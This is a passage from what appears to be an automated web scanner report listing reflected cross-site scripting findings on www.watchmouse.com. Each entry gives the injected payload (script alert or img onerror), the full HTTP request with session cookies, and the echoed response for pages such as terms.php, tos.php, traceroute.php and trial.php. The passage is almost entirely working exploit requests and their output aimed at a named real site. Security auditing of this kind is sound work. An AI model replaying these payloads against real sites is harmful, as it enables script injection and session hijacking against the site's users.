Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-c7a7046a7f9d2381951d38c593b3741e"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13136

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en72b45"><script>alert(1)</script>2ad67787581/terms.php?mlang=en" method="post">
...[SNIP]...

1.549. http://www.watchmouse.com/en/terms.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/terms.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5b9ff"><script>alert(1)</script>f72b5c6d527 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/terms.php5b9ff"><script>alert(1)</script>f72b5c6d527?mlang=en HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:02 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-0595a5f742f28768002dceef459ba5c4"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/terms.php5b9ff"><script>alert(1)</script>f72b5c6d527?mlang=en" method="post">
...[SNIP]...

1.550. http://www.watchmouse.com/en/terms.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/terms.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91bd0"><img%20src%3da%20onerror%3dalert(1)>8cd577ee570 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 91bd0"><img src=a onerror=alert(1)>8cd577ee570 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /en/terms.php/91bd0"><img%20src%3da%20onerror%3dalert(1)>8cd577ee570 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:55 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e95e8b5d9d62bac0bdc7c9a5fdda28ad"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 12036

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
<head>
<title>WatchMouse website monitoring service - Terms and Conditio
...[SNIP]...
<form method="post" name="91bd0"><img src=a onerror=alert(1)>8cd577ee570" action="91bd0">
...[SNIP]...

1.551. http://www.watchmouse.com/en/tos.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/tos.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3d077"><script>alert(1)</script>63f0196ca1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en3d077"><script>alert(1)</script>63f0196ca1/tos.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-5b9361dfcf10b43866dbdd49520b19c3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en3d077"><script>alert(1)</script>63f0196ca1/tos.php" method="post">
...[SNIP]...

1.552. http://www.watchmouse.com/en/tos.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/tos.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6a6ef"><script>alert(1)</script>100b5b603eb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/tos.php6a6ef"><script>alert(1)</script>100b5b603eb HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f155f4d3201de5f3565439d306f7ba67"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13010

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/tos.php6a6ef"><script>alert(1)</script>100b5b603eb" method="post">
...[SNIP]...

1.553. http://www.watchmouse.com/en/tos.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/tos.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b498e"><script>alert(1)</script>1c103de8a87 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/tos.php?b498e"><script>alert(1)</script>1c103de8a87=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d5b4606118c0ab85a13a9aa8de3f356f"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 23598

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/tos.php?b498e"><script>alert(1)</script>1c103de8a87=1" method="post">
...[SNIP]...

1.554. http://www.watchmouse.com/en/traceroute.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/traceroute.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a5937"><script>alert(1)</script>798b3afc68f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /ena5937"><script>alert(1)</script>798b3afc68f/traceroute.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-8e8eee740e1f5d9043d961b7955ba936"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ena5937"><script>alert(1)</script>798b3afc68f/traceroute.php" method="post">
...[SNIP]...

1.555. http://www.watchmouse.com/en/traceroute.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/traceroute.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 97784"><script>alert(1)</script>1b33f12dfc7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/traceroute.php97784"><script>alert(1)</script>1b33f12dfc7 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-8d664836a98a69cd1f2902360c30a205"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13073

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/traceroute.php97784"><script>alert(1)</script>1b33f12dfc7" method="post">
...[SNIP]...

1.556. http://www.watchmouse.com/en/traceroute.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/traceroute.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd126"><script>alert(1)</script>7ed75527df8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/traceroute.php?bd126"><script>alert(1)</script>7ed75527df8=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-7c39474f7a9e6a5c143544e00d65cbee"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 20711

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/traceroute.php?bd126"><script>alert(1)</script>7ed75527df8=1" method="post">
...[SNIP]...

1.557. http://www.watchmouse.com/en/trial.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/trial.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9ee1f"><script>alert(1)</script>c4f8fd7a77 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en9ee1f"><script>alert(1)</script>c4f8fd7a77/trial.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b26a3ebd922738c95c5fa02747267300"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en9ee1f"><script>alert(1)</script>c4f8fd7a77/trial.php" method="post">
...[SNIP]...

1.558. http://www.watchmouse.com/en/trial.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/trial.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a67c4"><script>alert(1)</script>de71c530b36 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/trial.phpa67c4"><script>alert(1)</script>de71c530b36 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-9726f34eac231d9c8cf608d7fb5ff888"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/trial.phpa67c4"><script>alert(1)</script>de71c530b36" method="post">
...[SNIP]...

1.559. http://www.watchmouse.com/en/trial.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/trial.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80035"><script>alert(1)</script>3fe5ce1010e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en/trial.php?80035"><script>alert(1)</script>3fe5ce1010e=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:11 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-64696b75aa61c3586b2908839e32d72c"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 25757

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<a href="/nl/register.php?vpackid=35&80035"><script>alert(1)</script>3fe5ce1010e=1" onclick="$('#lang-menu').toggle();">
...[SNIP]...

1.560. http://www.watchmouse.com/en/website_monitoring_features.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d07f9"><script>alert(1)</script>fdd5fc632fb was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /end07f9"><script>alert(1)</script>fdd5fc632fb/website_monitoring_features.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b762b5a2672422c95cb79b9354845edc"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/end07f9"><script>alert(1)</script>fdd5fc632fb/website_monitoring_features.php" method="post">
...[SNIP]...

1.561. http://www.watchmouse.com/en/website_monitoring_features.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d4c9"><script>alert(1)</script>2dee22711b7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/website_monitoring_features.php4d4c9"><script>alert(1)</script>2dee22711b7 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:52 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-24d89a88213296573e3c88f3622f22c7"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13226

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/website_monitoring_features.php4d4c9"><script>alert(1)</script>2dee22711b7" method="post">
...[SNIP]...

1.562. http://www.watchmouse.com/en/website_monitoring_features.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/website_monitoring_features.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d0866"><script>alert(1)</script>fe36ffcfa4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/website_monitoring_features.php?d0866"><script>alert(1)</script>fe36ffcfa4=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
